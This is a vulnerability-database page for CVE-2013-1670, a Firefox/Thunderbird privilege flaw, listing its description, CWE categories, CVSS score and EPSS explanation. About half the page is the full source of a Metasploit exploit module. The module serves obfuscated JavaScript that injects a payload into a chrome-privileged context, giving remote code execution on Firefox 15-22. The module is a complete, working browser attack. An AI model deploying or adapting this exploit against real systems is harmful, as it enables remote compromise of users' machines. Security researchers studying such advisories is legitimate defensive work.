CVE-2013-1670 Detail

CVE-2013-1670

CVE Descriptions

The Chrome Object Wrapper (COW) implementation in Mozilla Firefox before 21.0, Firefox ESR 17.x before 17.0.6, Thunderbird before 17.0.6, and Thunderbird ESR 17.x before 17.0.6 does not prevent acquisition of chrome privileges during calls to content level constructors, which allows remote attackers to bypass certain read-only restrictions and conduct cross-site scripting (XSS) attacks via a crafted web site.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-264	Category : Permissions, Privileges, and Access Controls Weaknesses in this category are related to the management of permissions, privileges, and other security features that are used to perform access control.
CWE-79	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	4.3		AV:N/AC:M/Au:N/C:N/I:P/A:N	[email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 34363

Publication date : 2014-08-18 22h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'rex/exploitation/jsobfu' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::BrowserExploitServer include Msf::Exploit::Remote::BrowserAutopwn include Msf::Exploit::Remote::FirefoxPrivilegeEscalation autopwn_info({ :ua_name => HttpClients::FF, :ua_minver => "15.0", :ua_maxver => "22.0", :javascript => true, :rank => ExcellentRanking }) def initialize(info = {}) super(update_info(info, 'Name' => 'Firefox toString console.time Privileged Javascript Injection', 'Description' => %q{ This exploit gains remote code execution on Firefox 15-22 by abusing two separate Javascript-related vulnerabilities to ultimately inject malicious Javascript code into a context running with chrome:// privileges. }, 'License' => MSF_LICENSE, 'Author' => [ 'moz_bug_r_a4', # discovered CVE-2013-1710 'Cody Crews', # discovered CVE-2013-1670 'joev' # metasploit module ], 'DisclosureDate' => "May 14 2013", 'References' => [ ['CVE', '2013-1670'], # privileged access for content-level constructor ['CVE', '2013-1710'] # further chrome injection ], 'Targets' => [ [ 'Universal (Javascript XPCOM Shell)', { 'Platform' => 'firefox', 'Arch' => ARCH_FIREFOX } ], [ 'Native Payload', { 'Platform' => %w{ java linux osx solaris win }, 'Arch' => ARCH_ALL } ] ], 'DefaultTarget' => 0, 'BrowserRequirements' => { :source => 'script', :ua_name => HttpClients::FF, :ua_ver => lambda { |ver| ver.to_i.between?(15, 22) } } )) register_options([ OptString.new('CONTENT', [ false, "Content to display inside the HTML <body>.", "" ]) ], self.class) end def on_request_exploit(cli, request, target_info) send_response_html(cli, generate_html(target_info)) end def generate_html(target_info) key = Rex::Text.rand_text_alpha(5 + rand(12)) opts = { key => run_payload } # defined in FirefoxPrivilegeEscalation mixin js = Rex::Exploitation::JSObfu.new(%Q| var opts = #{JSON.unparse(opts)}; var key = opts['#{key}']; var y = {}, q = false; y.constructor.prototype.toString=function() { if (q) return; q = true; crypto.generateCRMFRequest("CN=Me", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", "#{Rex::Text.rand_text_alpha(5 + rand(12))}", null, key, 1024, null, "rsa-ex"); return 5; }; console.time(y); |) js.obfuscate %Q| <!doctype html> <html> <body> <script> #{js} </script> #{datastore['CONTENT']} </body> </html> | end end